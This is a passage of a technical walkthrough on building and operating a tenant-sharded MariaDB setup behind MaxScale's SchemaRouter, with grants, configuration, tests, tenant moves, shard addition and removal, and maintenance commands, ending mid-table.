SQL> SELECT user, host, is_role, default_role FROM mysql.user WHERE user LIKE 'maxscale_admin%';
+---------------------+----------------+---------+---------------------+
| User | Host | is_role | default_role |
+---------------------+----------------+---------+---------------------+
| maxscale_admin_role | | Y | |
| maxscale_admin | 10.139.158.210 | N | maxscale_admin_role |
| maxscale_admin | 10.139.158.211 | N | maxscale_admin_role |
+---------------------+----------------+---------+---------------------+

SQL> SHOW GRANTS FOR maxscale_admin@'10.139.158.211';
+----------------------------------------------------------------------------------------------------------------------------+
| Grants for maxscale_admin@10.139.158.211 |
+----------------------------------------------------------------------------------------------------------------------------+
| GRANT `maxscale_admin_role` TO `maxscale_admin`@`10.139.158.211` |
| GRANT USAGE ON *.* TO `maxscale_admin`@`10.139.158.211` IDENTIFIED BY PASSWORD '*14E65567ABDB5135D0CFD9A70B3032C179A49EE7' |
| SET DEFAULT ROLE `maxscale_admin_role` FOR `maxscale_admin`@`10.139.158.211` |
+----------------------------------------------------------------------------------------------------------------------------+

Create application role and accounts

The application also requires a user, which we create here as on every shard as follows:

SQL> CREATE ROLE app_role;
SQL> GRANT SELECT, INSERT, UPDATE, DELETE ON `customer_%`.* TO 'app_role';
SQL> GRANT SHOW DATABASES ON *.* TO 'app_role';
SQL> GRANT CREATE, DROP, ALTER ON *.* TO 'app_role'; -- For creating new tenant databases

SQL> SHOW GRANTS FOR app_role;
+----------------------------------------------------------------------+
| Grants for app_role |
+----------------------------------------------------------------------+
| GRANT SHOW DATABASES ON *.* TO `app_role` |
| GRANT SELECT, INSERT, UPDATE, DELETE ON `customer_%`.* TO `app_role` |
+----------------------------------------------------------------------+

SQL> CREATE USER app@'10.139.158.%' IDENTIFIED BY 'secret';
SQL> GRANT app_role TO app@'10.139.158.%';
SQL> SET DEFAULT ROLE app_role FOR app@'10.139.158.%';

SQL> SELECT user, host, is_role, default_role FROM mysql.user WHERE user LIKE 'app%';
+----------+--------------+---------+--------------+
| User | Host | is_role | default_role |
+----------+--------------+---------+--------------+
| app_role | | Y | |
| app | 10.139.158.% | N | app_role |
+----------+--------------+---------+--------------+

SQL> SHOW GRANTS FOR app@'10.139.158.%';
+---------------------------------------------------------------------------------------------------------------+
| Grants for app@10.139.158.% |
+---------------------------------------------------------------------------------------------------------------+
| GRANT `app_role` TO `app`@`10.139.158.%` |
| GRANT USAGE ON *.* TO `app`@`10.139.158.%` IDENTIFIED BY PASSWORD '*14E65567ABDB5135D0CFD9A70B3032C179A49EE7' |
| SET DEFAULT ROLE `app_role` FOR `app`@`10.139.158.%` |
+---------------------------------------------------------------------------------------------------------------+

Proxy protocol

Load balancers and proxies have the property that they exchange the IP addresses of the clients with their own IP addresses. On the one hand, this means that you can no longer see where the client originally came from in the database and, on the other hand, you can no longer assign access authorisations to users and IPs, as the IP of the load balancer is always checked.

These two problems can be solved using the proxy protocol.

To do this, both the database and the load balancer, in this case MaxScale, must have the proxy protocol activated.

On the database side, the proxy protocol is activated as follows:

#
# my.cnf
#

[mariadbd]

proxy_protocol_networks = ::1, 10.139.158.0/24, localhost

and on the MaxScale side with:

#
# /etc/maxscale.cnf
#

[shard]
type = server
proxy_protocol = true

You can check the two settings with:

SQL> SHOW GLOBAL VARIABLES LIKE 'proxy%';
+-------------------------+---------------------------------+
| Variable_name | Value |
+-------------------------+---------------------------------+
| proxy_protocol_networks | ::1, 10.139.158.0/24, localhost |
+-------------------------+---------------------------------+

shell> maxctrl show server shard1 | grep proxy
│ │ "proxy_protocol": true, │

Sources:

MaxScale SchemaRouter configuration

Next, we prepare the MaxScale configuration for sharding. The file recommended by MariaDB is /etc/maxscale.cnf. Whether it makes more sense to create a separate configuration file under /etc/maxscale.cnf.d/ or even to configure the entire MaxScale dynamically (/var/lib/maxscale/maxscale.cnf.d/*.cnf) remains to be seen in the long term. See also warnings below. The configuration file for this sharding PoC looks like this:

#
# /etc/maxscale.cnf
#

[maxscale]
threads = auto
admin_gui = false

[shard1]
type = server
address = 10.139.158.1
port = 3363
proxy_protocol = true

[shard2]
type=server
address=10.139.158.1
port=3364
proxy_protocol = true

[shard3]
type = server
address = 10.139.158.1
port = 3365
proxy_protocol = true

[sharding monitor]
type = monitor
module = galeramon
servers = shard1,shard2,shard3
user = maxscale_monitor
password = secret
monitor_interval = 1s

[Sharded-Service-Listener]
type = listener
service = Sharded-Service
protocol = MariaDBClient
port = 3306

[Sharded-Service]
type = service
router = schemarouter
servers = shard1,shard2,shard3
user = maxscale_admin
password = secret
auth_all_servers = true

Note: Recommendation of the MaxScale developer: “One workaround might be to actually use galeramon to monitor the nodes instead of mariadbmon.”

Starting and stopping the MaxScale Load Balancer

MaxScale is started and stopped as usual via SystemD:

shell> systemctl restart maxscale

shell> systemctl status maxscale
● maxscale.service - MariaDB MaxScale Database Proxy
 Loaded: loaded (/lib/systemd/system/maxscale.service; enabled; vendor preset: enabled)
 Drop-In: /run/systemd/system/service.d
 └─zzz-lxc-service.conf
 Active: active (running) since Tue 2024-02-27 09:52:57 UTC; 39s ago
 Process: 187 ExecStart=/usr/bin/maxscale (code=exited, status=0/SUCCESS)
 Main PID: 188 (maxscale)
 Tasks: 10 (limit: 18663)
 Memory: 4.6M
 CPU: 150ms
 CGroup: /system.slice/maxscale.service
 └─188 /usr/bin/maxscale

systemd[1]: Starting MariaDB MaxScale Database Proxy...
maxscale[188]: Module 'galeramon' loaded from '/usr/lib/x86_64-linux-gnu/maxscale/libgaleramon.so'.
maxscale[188]: Module 'schemarouter' loaded from '/usr/lib/x86_64-linux-gnu/maxscale/libschemarouter.so'.
maxscale[188]: Using up to 2.3GiB of memory for query classifier cache
systemd[1]: Started MariaDB MaxScale Database Proxy.

If there were errors or warnings, you can see them in the MaxScale error log:

shell> grep -v notice /var/log/maxscale/maxscale.log
2024-02-13 16:47:22 MariaDB MaxScale is shut down.
----------------------------------------------------


MariaDB MaxScale /var/log/maxscale/maxscale.log Tue Feb 13 16:47:22 2024
----------------------------------------------------------------------------
2024-02-27 09:52:56 warning: Discarding journal file '/var/lib/maxscale/Sharding-Monitor_journal.json'. File is for module 'mariadbmon'. Current module is 'galeramon'.
2024-02-27 09:52:56 warning: [galeramon] Invalid 'wsrep_local_index' on server 'shard1': 18446744073709551615

Application tests

Simple application tests

shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 --execute='show databases'
+--------------------+
| Database |
+--------------------+
| customer_0010 |
| customer_0011 |
| customer_0020 |
| customer_0021 |
| customer_0022 |
| customer_0030 |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+

New command `show shards`

shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 customer_0030 --execute='show shards' | grep customer_00.* | sort | column -t
customer_0010.address shard1
customer_0010.sales shard1
customer_0010. shard1
customer_0011.address shard1
customer_0011.sales shard1
customer_0011. shard1
customer_0020.address shard2
customer_0020.sales shard2
customer_0020. shard2
customer_0021.address shard2
customer_0021.sales shard2
customer_0021. shard2
customer_0022.address shard2
customer_0022.sales shard2
customer_0022. shard2
customer_0030.address shard3
customer_0030.sales shard3
customer_0030. shard3

New databases are not displayed immediately, but only when the cached data has been updated (refresh_interval (300s / 5 min)).

More general test

As a reminder:

Shard	Port	Customer	State
#1	3363	customer_001<n>	Running
#2	3364	customer_002<n>	Running
#3	3365	customer_003<n>	Running
#4	3366	customer_004<n>	Running

shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 --execute='SELECT @@port'
+--------+
| @@port |
+--------+
| 3363 |
+--------+
shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 --database=customer_0010 --execute='SELECT @@port'
+--------+
| @@port |
+--------+
| 3363 |
+--------+
shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 --database=customer_0020 --execute='SELECT @@port'
+--------+
| @@port |
+--------+
| 3364 |
+--------+
shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 --execute='use customer_0020; SELECT @@port'
+--------+
| @@port |
+--------+
| 3364 |
+--------+
shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 customer_0010 --execute='SELECT @@port'
+--------+
| @@port |
+--------+
| 3363 |
+--------+
shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 customer_0020 --execute='SELECT @@port'
+--------+
| @@port |
+--------+
| 3364 |
+--------+
shell> mariadb --user=app --password=secret --host=10.139.158.211 --port=3306 customer_0030 --execute='SELECT @@port'
+--------+
| @@port |
+--------+
| 3365 |
+--------+

Less simple (backup) test

shell> mariadb-dump --user=app --password=secret --host=10.139.158.211 --port=3306 --single-transaction customer_0010 > /tmp/customer_0010.sql
shell> echo $?
0
shell> mariadb-dump --user=app --password=secret --host=10.139.158.211 --port=3306 --single-transaction customer_0020 > /tmp/customer_0020.sql
shell> echo $?
0
shell> mariadb-dump --user=app --password=secret --host=10.139.158.211 --port=3306 --single-transaction customer_0030 > /tmp/customer_0030.sql
shell> echo $?
0
shell> mariadb-dump --user=app --password=secret --host=10.139.158.211 --port=3306 --single-transaction --databases customer_0011 > /tmp/customer_0011.sql
shell> echo $?
0
shell> mariadb-dump --user=app --password=secret --host=10.139.158.211 --port=3306 --single-transaction --databases customer_0021 > /tmp/customer_0021.sql
shell> echo $?
0
shell> mariadb-dump --user=app --password=secret --host=10.139.158.211 --port=3306 --single-transaction --databases customer_0030 > /tmp/customer_0030.sql
shell> echo $?
0

shell> ll /tmp/customer_00*sql
-rw-rw-r-- 1 oli oli 2738 Mar 18 12:07 /tmp/customer_0010.sql
-rw-rw-r-- 1 oli oli 2904 Mar 18 12:08 /tmp/customer_0011.sql
-rw-rw-r-- 1 oli oli 2712 Mar 18 12:08 /tmp/customer_0020.sql
-rw-rw-r-- 1 oli oli 2906 Mar 18 12:08 /tmp/customer_0021.sql
-rw-rw-r-- 1 oli oli 2964 Mar 18 12:08 /tmp/customer_0030.sql

shell> tail -n 1 /tmp/customer_*.sql
==> /tmp/customer_0010.sql <==
-- Dump completed on 2024-02-13 14:39:21

==> /tmp/customer_0011.sql <==
-- Dump completed on 2024-02-13 14:39:35

==> /tmp/customer_0020.sql <==
-- Dump completed on 2024-02-13 14:40:15

==> /tmp/customer_0021.sql <==
-- Dump completed on 2024-02-13 14:40:42

==> /tmp/customer_0030.sql <==
-- Dump completed on 2024-02-13 14:40:52

shell> cat /tmp/customer_00*sql | grep -A1 -i insert
INSERT INTO `address` VALUES
(1,'Customer 10 GmbH');
--
INSERT INTO `sales` VALUES
(1,'Apples',5,1.20,6.00),
--
INSERT INTO `address` VALUES
(1,'Customer 11 SE');
--
INSERT INTO `sales` VALUES
(1,'Oranges',2,1.70,3.40),
--
INSERT INTO `address` VALUES
(1,'Customer 20 AG');
--
INSERT INTO `sales` VALUES
(1,'Oranges',2,1.70,3.40),
--
INSERT INTO `address` VALUES
(1,'Customer 21 GmbH');
--
INSERT INTO `sales` VALUES
(1,'Oranges',2,1.70,3.40),
--
INSERT INTO `address` VALUES
(1,'Customer 30 GmbH');
--
INSERT INTO `sales` VALUES
(1,'Pickles',2,2.20,4.40),

In MaxScale 23.08.4 there was a pretty bad bug: A return value of 0 but no data in the backup!!! See also the tickets: MXS-4966: mariadb-dump gets an error dumping schemas and MXS-4947: Tables in information_schema are treated as a normal tables. Symptoms of the bug look like this:

Error: Couldn't read status information for table address ()
Error: Couldn't read status information for table sales ()

We therefore strongly recommend upgrading to MaxScale 23.08.5!

More complex application tests

We have created a somewhat more complex test (./sharding_test.php) that processes the following queries:

SET NAMES utf8mb4
SHOW DATABASES
use customer_
START TRANSACTION;
SELECT MIN(id) AS first, MAX(id) AS last FROM `sales`
INSERT INTO sales (id, product, sales, amount, total_amount) VALUES (%d, '%s', %f, %f, %f)
INSERT INTO sales (id, product, sales, sales, amount, total_amount) VALUES (%d, '%s', %f, %f, %f)
UPDATE sales SET product = 'Prepare to delete' WHERE id = %d
DELETE FROM sales WHERE id = %d
COMMIT

This test ran flawlessly. The corresponding control query:

SQL> SELECT * FROM customer_0021.sales WHERE id >= (SELECT MAX(id) - 10 FROM customer_0021.sales);

Various load scenarios can also be tested with db_bench or the Acronis perfkit. For more information, see here.

Cross-shard tests

In any case, you might come up with the idea of running cross-shard queries. This will NOT work, which should not really be surprising, firstly because it is not easy to implement and secondly because it is described here:

“Note: As the sharding solution in MaxScale is relatively simple, cross-database queries between two or more shards are not supported.”

Source: Simple Sharding with Two Servers

and

“USE db1 is routed to the server with db1. If the database is divided to multiple servers, only one server will get the command.”

Source: SchemaRouter.

Here is a test with UNION:

SQL> use customer_0030
Database changed
SQL> SELECT * FROM customer_0020.sales UNION SELECT * FROM customer_0030.sales;
ERROR 1146 (42S02): Table 'customer_0020.sales' doesn't exist

And here is the proof to the contrary:

SQL> use customer_0020
Database changed
SQL> SELECT * FROM customer_0020.sales UNION SELECT * FROM customer_0030.sales;
ERROR 1146 (42S02): Table 'customer_0030.sales' doesn't exist

And here is the test with JOIN:

SQL> use customer_0020
SQL> SELECT *
 FROM customer_0020.sales a
 JOIN customer_0030.sales b ON a.id = b.id
WHERE a.sales > 1
;
ERROR 1146 (42S02): Table 'customer_0030.sales' doesn't exist

SQL> use customer_0030

SQL> SELECT *
 FROM customer_0020.sales a
 JOIN customer_0030.sales b ON a.id = b.id
WHERE a.sales > 1
;
ERROR 1146 (42S02): Table 'customer_0020.sales' doesn't exist

Operation of a MaxScale sharding system

In this chapter we discuss some points that can be useful for the operation of a MariaDB MaxScale sharding system.

Do-on-all-shards

Since it can always happen that O/S or database operations have to be executed on all shards, it would certainly make sense to create a script that executes the same command on all shards in turn:

shell> ./do-on-all-shards.sh --sql='SHOW DATABASES'

A script of this type should greatly reduce the error rate during operation. Operations such as the re-sharding of a tenant, as described below, are also sensibly scripted and executed centrally (MXS-5029).

Invalidating the database map cache

The invalidate command can be used to invalidate the database map cache of the MariaDB MaxScale SchemaRouter. This allows us to quickly update the cache after adding or removing tenants.

shell> maxctrl call command schemarouter invalidate Sharded-Service
OK

In contrast to the invalidate command, which updates the entries after the next refresh_interval, the clear command deletes the entries and a remap is executed immediately.

If you want to invalidate the database map cache remotely with a REST API call, you can do this as follows:

shell> curl -i -X POST -u api_admin:secret http://10.139.158.211:8989/v1/maxscale/modules/schemarouter/clear?Sharded-Service
HTTP/1.1 204 No Content
Connection: close
Date: Mon, 18 Mar 24 11:49:58 GMT
X-Frame-Options: Deny
X-XSS-Protection: 1
Referrer-Policy: same-origin
Cache-Control: no-cache

Sources:

How to change SchemaRouter variables dynamically?

The refresh_interval specifies the lifetime of the entries in the SchemaRouter Database Map Cache. The default value is 300 s (5 min). Refresh Interval is therefore, in my opinion, an unfortunate term as it does not define the interval between two mappings but the lifetime of the cache entries (livetime?, timeout?). As soon as the entry has been deleted, a new refresh of the “database map” is triggered on each shard. The command currently looks like this:

SELECT LOWER(t.table_schema), LOWER(t.table_name) FROM information_schema.tables t
 UNION ALL
SELECT LOWER(s.schema_name), '' FROM information_schema.schemata s

It looks like a simple connect is enough to trigger the refresh of the database map.

The current value for refresh_interval can be queried as follows:

shell> maxctrl show service Sharded-Service | grep refresh_interval | awk -F'│' '{ print $3 }'
 "refresh_interval": "300000ms",

The following command helps to change the value dynamically:

shell> MAXCTRL_WARNINGS=0 maxctrl alter service Sharded-Service refresh_interval=10s
OK

The value should not be set too small, as all other connections are stopped during the mapping process.

Sources:

Adding and removing a tenant

Adding a new tenant to a shard is not a major problem:

SQL> CREATE DATABASE customer_0029;
SQL> use customer_0029
SQL> CREATE TABLE address LIKE customer_template.address;
SQL> CREATE TABLE sales LIKE customer_template.sales;

shell> maxctrl call command schemarouter invalidate Sharded-Service
OK

Removing a tenant from a shard, on the other hand, is somewhat more complicated and must be done in consultation with the application:

SQL> DROP DATABASE customer_0011;

shell> ./sharding_test.php
.....ERROR: Table 'customer_0011.sales' doesn't exist...ERROR: Unknown database 'customer_0011'.ERROR: Unknown database 'customer_0011'......ERROR: Unknown database 'customer_0011'...

shell> maxctrl call command schemarouter clear Sharded-Service
OK

At least I have not come up with a cleverer variant yet. See also Moving a tenant below.

Moving a tenant

The combination of adding and removing would then be moving a tenant from one shard to another shard, also known as re-sharding. This also requires a concerted action to be planned together with the application.

If this is not possible, at least the time that the application receives errors can be reduced… The following procedure can be used to move a tenant from shard 2 to shard 3:

SQL> use customer_0020; LOCK TABLES address READ, sales READ; -- On Shard 2, application will be blocked at best!

shell> mariadb-dump --user=app --password=secret --host=10.139.158.1 --port=3364 --single-transaction --skip-add-locks --databases customer_0020 | mariadb --user=app --password=secret --host=10.139.158.1 --port=3365 # Copy tenant 20 from shard 2 to shard 3

SQL> DROP DATABASE customer_0020; -- Deleting tenant 20 does not work!
ERROR 1192 (HY000): Can't execute the given command because you have active locked tables or an active transaction

SQL> UNLOCK TABLES; DROP DATABASE customer_0020; # How to delete tenant 20.

shell> maxctrl call command schemarouter clear Sharded-Service # Update MaxScale Database Map. Do it quickly!!!

Until the database map is refreshed, the following errors may occur:

error : (47621) [schemarouter] (Sharded-Service); 'customer_0020.' found on servers 'shard2','shard3' for user 'app'@'10.139.158.1'.
error : (47621) [schemarouter] (Sharded-Service); 'customer_0020.address' found on servers 'shard2','shard3' for user 'app'@'10.139.158.1'.
error : (47621) [schemarouter] (Sharded-Service); 'customer_0020.sales' found on servers 'shard2','shard3' for user 'app'@'10.139.158.1'.
error : (47621) [schemarouter] (Sharded-Service); Duplicate tables found, closing session.

And on the application side too:

ERROR: Error: duplicate tables found on two different shards

Adding or removing a shard

Moving a tenant from one shard to another shard is a small re-sharding operation. It becomes somewhat more complex if you want to add new shards or remove old shards. Subsequently (after the addition or before the removal), a large re-sharding would then take place. The first step is to add a shard to the cluster:

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬───────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
│ shard1 │ 10.139.158.1 │ 3363 │ 0 │ Running │ 0-3363-26014 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 0 │ Running │ 0-3364-240612 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 0 │ Running │ 0-3365-289873 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴─────────┴───────────────┴──────────────────┘

The prepared shard is made known to MaxScale:

shell> maxctrl create server shard4 10.139.158.1 3366
OK

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬──────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard1 │ 10.139.158.1 │ 3363 │ 1 │ Running │ 0-3363-23676 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 1 │ Running │ 0-3364-52321 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 1 │ Running │ 0-3365-39751 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard4 │ 10.139.158.1 │ 3366 │ 0 │ Down │ │ │
└────────┴──────────────┴──────┴─────────────┴─────────┴──────────────┴──────────────────┘

The new shard is then linked to the MaxScale Monitor and the service:

shell> MAXCTRL_WARNINGS=0 maxctrl link monitor Sharding monitor shard4
OK

shell> MAXCTRL_WARNINGS=0 maxctrl link service Sharded service shard4
OK

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬──────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard1 │ 10.139.158.1 │ 3363 │ 1 │ Running │ 0-3363-24961 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 1 │ Running │ 0-3364-56215 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 1 │ Running │ 0-3365-45177 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard4 │ 10.139.158.1 │ 3366 │ 1 │ Running │ 0-3366-32 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴─────────┴──────────────┴──────────────────┘

Whether this second step is also absolutely necessary was not investigated.

You can follow the entire process in the MariaDB MaxScale error log:

warning: Discarding journal file '/var/lib/maxscale/Sharding-Monitor_journal.json'. Servers described in the journal are different from the ones configured on the current monitor.
warning: Saving runtime modifications to 'Sharding-Monitor' in '/var/lib/maxscale/maxscale.cnf.d/Sharding-Monitor.cnf'. The modified values will override the values found in the static configuration files.
notice : shard4 sent version string '10.11.7-MariaDB-log'. Detected type: MariaDB, version: 10.11.7.
notice : Server 'shard4' charset: latin1_swedish_ci
notice : Server changed state: shard4[10.139.158.1:3366]: server_up. [Down]→[Running]
warning: Saving runtime modifications to 'Sharded-Service' in '/var/lib/maxscale/maxscale.cnf.d/Sharded-Service.cnf'. The modified values will override the values found in the static configuration files.
notice : Added 'shard4' to 'Sharded-Service'

What we must not forget here is to also equip the new shard with the proxy protocol:

shell> maxctrl show server shard4 | grep proxy
│ │ "proxy_protocol": false, │

MAXCTRL_WARNINGS=0 maxctrl alter server shard4 proxy_protocol=true
OK

And now new tenants can be added to the new shard or old tenants can be moved to the new shard… In our setup, we want to move all tenants from shard 1 to shard 4 and also create a new tenant customer_0040 on shard 4. The individual steps required for this are listed above.

Once shard 1 has been emptied, it can be dismantled:

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬──────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard1 │ 10.139.158.1 │ 3363 │ 1 │ Running │ 0-3363-25916 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 1 │ Running │ 0-3364-62887 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 1 │ Running │ 0-3365-54035 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard4 │ 10.139.158.1 │ 3366 │ 1 │ Running │ 0-3366-2247 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴─────────┴──────────────┴──────────────────┘

A shard is deleted with the destroy server command. Before this works, however, a shard must be removed from the monitor and the service:

shell> MAXCTRL_WARNINGS=0 maxctrl unlink service Sharded service shard1
OK

shell> MAXCTRL_WARNINGS=0 maxctrl unlink monitor Sharding monitor shard1
OK

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬──────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard1 │ 10.139.158.1 │ 3363 │ 0 │ Running │ │ │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 1 │ Running │ 0-3364-64394 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 1 │ Running │ 0-3365-56072 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard4 │ 10.139.158.1 │ 3366 │ 1 │ Running │ 0-3366-3267 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴─────────┴──────────────┴──────────────────┘

Once the shard has been removed from the monitor and the service, it can then be deleted:

shell> maxctrl destroy server shard1
Warning: Object 'shard1' is defined in a static configuration file and cannot be permanently deleted. If MaxScale is restarted, the object will appear again.
To hide these warnings, run:

 export MAXCTRL_WARNINGS=0

OK
shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬──────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 1 │ Running │ 0-3364-65018 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 1 │ Running │ 0-3365-56886 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard4 │ 10.139.158.1 │ 3366 │ 1 │ Running │ 0-3366-3648 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴─────────┴──────────────┴──────────────────┘

And you can follow the changes in the MaxScale Error Log:

notice : Removed 'shard1' from 'Sharded-Service'
warning: Discarding journal file '/var/lib/maxscale/Sharding-Monitor_journal.json'. Servers described in the journal are different from the ones configured on the current monitor.
notice : Destroyed server 'shard1' at 10.139.158.1:3363

Important: I was informed that with destroy server --force the unlink service and unlink monitor commands are automatically executed by MaxScale.

Source:

MariaDB MaxScale Administration Tutorial - Managing servers

Customising the configuration files

During the shard operations described above we received some warnings:

Warning: Object 'shard1' is defined in a static configuration file and cannot be permanently deleted. If MaxScale is restarted, the object will appear again.

and

Warning: Saving runtime modifications to 'Sharding-Monitor' in '/var/lib/maxscale/maxscale.cnf.d/Sharding-Monitor.cnf'. The modified values will override the values found in the static configuration files.

The corresponding configuration files are automatically created by MaxScale when dynamic system changes are made:

shell> ll /var/lib/maxscale/maxscale.cnf.d/ /etc/maxscale.cnf
-rw-r--r-- 1 root root 612 Feb 13 14:23 /etc/maxscale.cnf

/var/lib/maxscale/maxscale.cnf.d/:
total 12
-rw------- 1 maxscale maxscale 187 Feb 13 16:08 Sharding-Monitor.cnf
-rw------- 1 maxscale maxscale 150 Feb 13 16:07 Sharded-Service.cnf
-rw------- 1 maxscale maxscale 52 Feb 13 15:46 shard4.cnf

cat /var/lib/maxscale/maxscale.cnf.d/*
[Sharded-Service]
debug=true
refresh_interval=10000ms
auth_all_servers=true
log_debug=true
password=secret
router=schemarouter
type=service
user=maxscale_admin
targets=shard2,shard3,shard4

[sharding monitor]
module=galeramon
monitor_interval=1000ms
password=secret
servers=shard2,shard3,shard4
type=monitor
user=maxscale_monitor

[shard4]
address=10.139.158.1
port=3366
type=server

The configuration files still need to be improved accordingly. You should generally consider whether you should not configure everything dynamically via commands in a highly dynamic system…

Maintenance work on the shard

If a shard is to be taken offline for maintenance work, here in the example shard2, this can be done as follows:

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬──────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 1 │ Running │ 0-3364-69817 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 1 │ Running │ 0-3365-63166 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼──────────────┼──────────────────┤
│ shard4 │ 10.139.158.1 │ 3366 │ 1 │ Running │ 0-3366-6902 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴─────────┴──────────────┴──────────────────┘

shell> maxctrl set server shard2 drain
OK

shell> maxctrl set server shard2 maintenance
OK

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬──────────────────────┬───────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼──────────────────────┼───────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 0 │ Maintenance, Running │ 0-3364-240612 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼──────────────────────┼───────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 0 │ Running │ 0-3365-289873 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼──────────────────────┼───────────────┼──────────────────┤
│ shard4 │ 10.139.158.1 │ 3366 │ 0 │ Running │ 0-3366-119848 │ Sharding-Monitor │
└────────┴──────────────┴──────┴─────────────┴──────────────────────┴───────────────┴──────────────────┘

At this point, maintenance work can be carried out on the machine or the database…

Afterwards, BOTH statuses must be cleared again if both have been set (MXS-5028):

shell> maxctrl clear server shard2 maintenance
OK

shell> maxctrl clear server shard2 drain
OK

shell> maxctrl list servers
┌────────┬──────────────┬──────┬─────────────┬─────────┬───────────────┬──────────────────┐
│ Server │ Address │ Port │ Connections │ State │ GTID │ Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
│ shard2 │ 10.139.158.1 │ 3364 │ 0 │ Running │ 0-3364-240612 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
│ shard3 │ 10.139.158.1 │ 3365 │ 0 │ Running │ 0-3365-289873 │ Sharding-Monitor │
├────────┼──────────────┼──────┼─────────────┼─────────┼───────────────┼──────────────────┤
